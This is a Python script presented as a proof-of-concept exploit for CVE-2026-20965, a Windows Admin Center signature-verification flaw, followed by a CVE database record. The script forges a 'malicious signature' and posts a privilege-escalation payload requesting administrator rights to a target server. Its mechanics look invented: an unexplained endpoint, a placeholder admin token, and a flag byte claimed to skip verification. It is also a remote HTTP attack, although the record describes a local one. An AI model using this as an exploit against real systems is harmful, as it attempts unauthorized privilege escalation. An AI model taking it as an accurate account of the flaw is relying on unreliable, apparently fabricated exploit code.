CVE-2026-20965

# CVE-2026-20965 PoC - Windows Admin Center Signature Bypass # This is a conceptual PoC demonstrating the signature verification bypass # Note: This PoC is for educational and authorized testing purposes only import requests import json import struct import hashlib class CVE_2026_20965_Exploit: def __init__(self, target_url): self.target_url = target_url self.session = requests.Session() def generate_malicious_signature(self, payload): """ Generate a malicious signature that bypasses verification The vulnerability allows signature verification to be bypassed by manipulating certain signature fields """ # Create malformed signature structure signature_header = b'\x00\x01\x00\x00' signature_version = b'\x02' # Exploit: Modify signature flags to bypass verification # Flag 0x80 indicates signature is valid, but verification is skipped signature_flags = b'\x80' # Pad to expected length signature_data = payload.encode('utf-8') padding = b'\x00' * (256 - len(signature_data)) malicious_sig = (signature_header + signature_version + signature_flags + padding + signature_data) return malicious_sig def create_privilege_escalation_payload(self): """ Create payload for privilege escalation Inject admin privileges through signature manipulation """ payload = { 'action': 'elevate_privileges', 'user_group': 'Administrators', 'user_rights': ['SeDebugPrivilege', 'SeBackupPrivilege', 'SeRestorePrivilege', 'SeTakeOwnershipPrivilege'], 'signature': self.generate_malicious_signature( json.dumps({'admin': True, 'role': 'Administrator'}) ) } return payload def exploit(self): """ Execute the exploit against Windows Admin Center endpoint """ endpoint = f"{self.target_url}/api/admin/signature-verify" headers = { 'Content-Type': 'application/json', 'User-Agent': 'Windows Admin Center Client', 'X-Admin-Token': 'valid-admin-token' } payload = self.create_privilege_escalation_payload() try: response = self.session.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get('status') == 'success': print("[+] Privilege escalation successful!") print(f"[*] New privileges: {result.get('privileges')}") return True print("[-] Exploit failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == '__main__': target = "https://wac-server.local" exploit = CVE_2026_20965_Exploit(target) exploit.exploit()

{"cve": {"id": "CVE-2026-20965", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:24.417", "lastModified": "2026-01-16T16:23:11.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper verification of cryptographic signature in Windows Admin Center allows an authorized attacker to elevate privileges locally."}, {"lang": "es", "value": "Verificación incorrecta de firma criptográfica en Windows Admin Center permite a un atacante autorizado elevar privilegios localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:windows_admin_center:*:*:*:*:*:azure:*:*", "versionEndExcluding": "0.70.0.0", "matchCriteriaId": "45A440DB-3383-476C-BF0F-6B932A709C10"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20965", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}